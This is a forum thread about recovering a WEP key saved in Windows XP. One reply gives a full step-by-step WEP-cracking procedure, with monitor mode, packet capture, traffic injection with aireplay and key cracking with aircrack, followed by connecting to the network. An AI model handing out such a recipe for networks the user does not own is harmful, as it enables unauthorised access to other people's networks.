Retrieve a WEP key?

Duffman

Is there any way to retrieve a WEP key that has been entered into the masked field and saved in Windows XP's wireless config dialogues?

Thanks.

mp3guy

No, the only way to get it now is off the router

irlrobins

I think i have a prog at home that can reveal contents of masked fields. I'll try and find it and see if that helps you. Is this for legit purposes? Or you trying to get access to a network you shouldn't?

R

digitaldeath

Or you could do it the hard (but fun) way and crack it!
Here's how.
Download Auditor which is a bootable version of linux.
Boot from the CD.
Once in, open a terminal window and type "iwconfig" (without the double quotes) to find out your wifi interface. In my case it's ath0.

Enable it:
ifconfig ath0 up

Set it to monitor:
iwconfig ath0 mode monitor

Insert USB key to conserve memory (this is not required!)
qtparted

Make note of USB location in the window (sda1, usb1, whatever)
mount /dev/sda1 /mnt/hd
cd /mnt/hd

Start Kismet (a wifi scanning tool)
Select a location on your USB key for file dumps.
Once it's found your AP - press "L" (notice CAP L) to lock to it. ("s" will sort, "c" to sort by channel)
Press ENTER to get TARGETMACADDRESS of your access point (AP).

Next we gotta capture packets. Make sure you're "in" your USB key location.
airodump ath0 tocrack TARGETMACADDRESS

New terminal window. Speed up the IV count to crack it - or if you're getting alot already, there's no need!
aireplay -i ath0

New terminal window. Crack outputted file (in our case we called it "tocrack" above) when you've about 200,000+ IVs (the more - the better!)
airecrack -q 3 -f 2 tocrack.cap

To associate with AP once the key is found type:
iwconfig ath0 mode Managed key INSERTWEPKEYHERE

Get IP address
dhclient

Test connection
ping www.google.com

Hopefully this will come in useful somehow - any further questions (after trying Google of course) PM me.
All of this worked for me and I broke my key in 21 mins. Obviously a default Eircom wifi router key!

Later!

irlrobins

ok this prob might reveal password field contents

http://www.foundstone.com/index.htm?subnav=resources/navigation.htm&subcontent=/resources/proddesc/showin.htm